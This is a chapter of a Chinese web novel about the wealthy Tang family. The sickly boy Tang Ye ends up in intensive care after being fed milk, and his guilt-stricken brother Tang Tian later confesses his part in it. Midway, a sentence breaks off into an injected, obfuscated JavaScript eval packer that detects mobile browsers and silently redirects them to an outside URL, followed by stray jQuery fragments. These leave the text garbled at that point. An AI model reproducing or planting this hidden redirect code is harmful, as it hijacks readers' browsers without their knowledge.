16. 第 16 章
作品:《小镇里的花》 方源以前穷困,念大学时幸好得到事业已小有所成的唐万里资助顺利完成学业,大学毕业后一直跟在唐万里身边,已有30多年,深得唐万里信任,连唐山海也得称他一声哥。唐万里从不亏待手下的人,随着方源的能力不断提升,一直把他提拨到万里地产副总裁的地位。方源也时刻谨记恩人的恩情,做事兢兢业业,对唐万里忠心耿耿。
唐万里夫妇原本恩爱有加,两人从年轻时便一同创业。然而,夫人在生下二儿子唐晚星后便离世了。唐晚星年少时意气风发,但更不幸地,深得宠爱的他在少年时期便已夭折。
直到唐晔这个很特别的孩子诞生下来,但出生不久却又被亲生母亲偷偷抱走,那孩子四岁多,才终于回到他们身边。
多年来,方源见证了唐万里中晚年历经风雨,承受丧妻丧子的痛苦,也就对这个孩子不冷不热。
孩子因基因缺陷,心肺功能不太正常,从四岁多回到他们身边就大小病不断。以前孩子生病时还会问方源:“方伯伯,爷爷怎么不来看我?”
“三少爷,老爷很想你呢,他在开会,一忙完就会来看你。”
但这句话,没过两年就骗不到这个聪明的孩子,不过孩子也不再问了。
方源懂得唐万里知道这小孩活不久。他怕了,怕再白发人送黑发人了。
就像此时,明明那孩子在生死线上苦苦挣扎,老爷接到大儿子的通知,却只淡淡的从鼻腔里哼出来“知道了”。
方源劝说,“老爷,我们要不还是去医院看一下三少爷?”
“看有什么用,交给医生,该活的就得活下去。要去,你自己去,我老骨头都累坏了。”唐万里一边说着,一边却开始摆弄起这次从外国收回的字画。
方源做不到那么淡定。夫人去世这么多年,他对唐晚星当成亲生弟弟般疼爱,而对唐晔更是视作珍宝!他心里一直焦灼,要不是老爷对小晔一直意味不明,以前唐万里喜称一声世侄女的归秀兰,又怎敢对唐晔如此苛刻。
陈姨整个人慌了,蹲在地上,忍不住撕扯自己的头发哭着:“那杀千刀的女人哟!我就应该死死看着她!她怎么会不知道小晔碰不得一点儿牛奶呢?那碗蛋羹我怎么都没仔细闻闻就让她端给小晔了呢?我该死哟!”
唐天害怕得发抖,他只是不敢说,这是黄姨给自己做的早餐。
方源赶到医院时,据医生通知,唐晔刚转入ICU。
唐天哭着喊着要见弟弟,归秀兰和唐笑按不住他,唐山海才刚把唐天批评了一顿,这又引发了归秀兰的强烈不满。
和他们同样坐了十几个小时飞机刚从国外回到、先去公司安排完工作、回到云山大宅、又接到通知而匆匆赶去医院的方源抚着额头,先是安抚了唐山海一家,两人又通过各种渠道咨询孩子的病情,但无一例外都是“已经尽全力救治,要等待患儿自主呼吸后,逐步撤离气管插管和ECMO,可能几天,也可能几个星期。”
唐天被方源和唐笑紧紧抱住,带到ICU外的观察室。那里有一台显示器,能够实时呈现里面的患者情况。一到观察室,唐天便急切地扑到显示器前,紧紧盯着弟弟的侧脸。唐晔双目紧闭,由于水肿和气管插管,原本小巧白皙的脸庞变得肿胀蜡黄,陌生得让唐天几乎认不出他。认出后,他又被从弟弟脖子上延伸出来的粗大管子吓到……
时间仿佛在这一刻变得无比漫长,每一秒都像是煎熬。唐天看着显示器上的数字,看着那些起伏的曲线,他的心中充满了无助和无力。他想象着弟弟正在经历的痛苦,想象着他在黑暗中挣扎的模样,心中的疼痛几乎让他无法呼吸。
休息室里,方源向唐天解释:“医生说,气管插管让人体非常难受,而且会有很多不良反应,所以要持续给小晔使用麻醉剂。他可能有一段时间都会昏昏沉沉,甚至不认得你,不太记得事。二少爷别着急,以后我们还有大把时间陪着他呢!陪他聊天,喂他吃饭,扶他走路、锻炼身体……”唐笑靠在椅背上,怀里抱着已经比自己高的二弟,也小声地安抚:“小晔会没事的。”
“如果他死了,我怎么办?”唐天满脑子都是弟弟变成了陌生的样子,缩在姐姐怀里,唐天梦呓般的自言自语,又或是想对一墙之隔的那个陷入深深睡眠的人说。
“如果他死了,他就不会知道,我已经买好了整一墙的模型,他想要哪个就要哪个,或者全部都送给他;如果他死了,前几天约定的他病好后去打篮球,就再也去不了了;如果他死了,约定好的去海边,他就再也去不了了;如果他死了,就没办法再弹琴、画画了,他画的画儿我还没看过呢;如果他死了,就听不到我刚为他写的的曲子了;……”
“你看,我们有这么多的事可以一起做,但为什么我们一直都没做?明明我只要一转身,他就在那里,他那么听话,有一天一定会原谅我。但现在,他还会再等我的回应吗?”
“我明明已经在改了啊……”
这几个星期唐天一直浑浑噩噩,他每天都到医院看望弟弟,看他一成不变地艰难呼吸着,好像一直都没有变,但好像又有什么东西变了。
两个月后,两个少年考完中学入学考试,各自取得不错的成绩。在医生已确认过唐晔能长途飞行后,唐山海夫妇带上三个儿女一起到迪拜度假。
沙滩上,唐天紧紧抱着弟弟,急切地说:“你一定会和我一起报知行的,对吧?和我一起嘛!要不是我心里一直想着你,怎么可能考得这么好?”
唐晔翻了个白眼,嘲讽道:“你也可以说你是踩了狗屎运。”
唐天忍不住弹了一下他的脸,抱怨说:“你病好后,嘴巴怎么变得这么不可爱。”
唐晔顺势向后倒在柔软的沙滩上,假装喊道:“我死了!”
唐天扑上去挠他痒痒:“让你装死!不能拿这开玩笑!”
唐晔连声求饶:“哎哟,救命啊!姐姐救我!”
唐天笑道:“大姐正在和帅哥聊天呢,没空理你。”
不远处遮阳伞下,看着他俩打闹的归秀兰,声音冷冷地对丈夫说:“小天现在和小晔的感情还真好呀!”
唐山海放下报纸,“秀兰,这孩子刚死里逃生!少说两句吧。”
似乎听到了他们的对话,唐晔有所感似的侧头看了看养父母。
这时唐笑有点闷闷不乐地走回来。
“姐,咋了,那帅哥不喜欢你?”
唐笑耸耸肩:“沟通不来,人家是俄罗斯人,英语不太好,讲了半天鸡同鸭讲!”
“那你直接说Яоченьтебялюблю好了。”唐晔笑着,脱口而出。
这句话一出口,他自己都被惊住了。
“你还会俄语啊,啥时候学的?”
对呀,我什么时候学过的呢?唐晔陷入回忆的漩涡里。
那个年轻女孩,她的嘴一张一合,在对自己说什么?
Яоченьтебялюблю,是这句吗?
还是,прощайнавсегда?
……
Nuit,今天哥哥问我:“你不想知道你妈妈是谁吗?”
哎,知道又有什么用。那么多年她都没有找我,怕是,不在了吧?
而我更怕知晓的是,她根本就没想过要见我。
……
刚旅游回来不久,得知唐晔被省实录取,唐天气得不行,明明说好了一起报知行!
他不顾祖父不悦,跑回云山大宅、闯进晴园质问弟弟。
唐晔轻飘飘地说,“知行不录取我,我也没办法。”
“要不是你改了志愿,以你的分数,他们不收你?”
唐晔不答话,继续弹拨着桌上的古琴。
国庆假期刚开始,姐姐告诉唐天,已经说服小晔搬到万里书院与他同住,但唐天却赌气说:“谁要和他住啊,我自己住得挺好的!”
唐晔刚巧走进起居室,听到这话,立刻转身离开。
唐天嘴硬,身体却很诚实,赶紧追上唐晔,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14942750|160792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把他圈在臂弯里,费尽心思哄他,终于让弟弟笑了起来,像轻风拂过、在枝头摇曳的花儿。
2014年末的最后一天,省实的四名同学在沪城参加全国初中物理联赛金奖,终于返回了羊城。
从机场返回市区的路上,唐天一直在诉说,何柏文静静的陪在他身边。
“他从ICU出来后,由于气管插管,他嗓音哑哑的,却甜甜的叫我,哥哥。”
“他敞开心扉的模样,就像在我7岁那年,不,或许更像今年春节,我对他那么坏,但他依然问我能不能做朋友时。”
“他忘了很多事情,忘了那该死的学校和该死的我。”
听了唐天的话,爱看法律科普的何柏文疑惑说:“你们当时,没有把那个厨师送到派出所吗?明知人家牛奶过敏又在食物里放牛奶,这个算是故意杀人了吧?”
“因为、因为是我强迫小晔吃掉的啊!”唐天像是不愿意承认似的,抱着头。
“那时候,他去你们家有几个月了吧,你不知道他牛奶过敏?”
“我有印象,只是没想到会这么严重!他病得虚弱、昏昏沉沉,本来人又挑食,我觉得他应该多补充营养,就硬塞他吃下去……我只想他快点变好啊……”
何柏文轻轻咳了一声:“我明白了。你也懂你对他的感情,只是不知道应该怎么做。”
“你不用害怕。在我们年幼时,都会有很多错误的表达方式。”
“人跟人一起,就算不喜欢,也请别伤害。用暴力或言语伤害别人的行为本身是不对的,教唆孩子进行这种行为的成人更是违法的。”
“没有教会你用正确方式表达情感的大人,才是错误的。”
“但说到你,唐天,我接下来的话可能会让你觉得难受,但如果你不去想办法应对自己对他的狂躁行为,我怕有一天,结果不堪设想。”
唐天默不作声,既没有愤怒,也没有否认。
“我和你……一起去寻求专业心理咨询?”何柏文试探着。
“不!我妈妈,不会同意的。她不会愿意知道她一心栽培的儿子,被发现有精神障碍!”
“我不让小晔进我房间……我在房间里,每天爬上爬下,去抵抗那种兴奋与冲动……又或者泪流不止,为着以前对他做过的事,为着这阴沉的冬天、飞过的乌鸦、吵死人的说话声、无尽的黑夜……”
他们俩坐在车里,看着从省实校门口走出来的两个男生,暖阳下,他们都对着自己的哥哥招着手,兴奋地跑过来。
“……我更怕他知道后,会像以前那样,厌恶我,远离我。”
2015年元月元日,晴园。
紫袍少年把瓷碗里的最后一把鱼粮撒进湖中,湖里荡漾起一片翻滚的金灿灿的光芒。
他净了手,轻拂衣摆,端坐在石凳上,面前横陈着一架古朴的七弦琴。
当最后一缕金光消失在眼前,银辉铺洒庭院,古琴流光。
少年轻轻拨弄着琴弦,试音之后,手指开始在琴弦上跳跃起舞。随着他的手指移动,古琴声在夜空中飘荡开来。琴声起初悠扬轻柔,如同有人独酌湖畔,低声吟唱;随后,琴声逐渐变得激昂高亢,又仿佛那人披星踏月,纵声歌唱。
少年星目半闭,浅笑嫣然,手指在琴弦上翻飞,手腕随着琴声起伏跌宕。
庭院中的桂花阵阵飘香,微风轻拂,在月光的照耀下轻轻摇曳,仿佛也在聆听这美妙的琴声。
当最后一个音符轻轻落下,少年轻抚琴弦,脸上浮现出满足的微笑。他站起身,望向那轮随时日愈发丰满的明月。
拱门外,方源紧随侧耳聆听琴曲的唐万里身后,把一份资料奉给老人:“老爷探问小晔少爷近来所好,但少爷并未明言,只是推荐了一份资料,询问此人是否可获得我们集团的青年保障计划资助。”
“姓名:梁一民
年龄:15岁
就读院校:……”
老者扫了一眼,“都依了他!”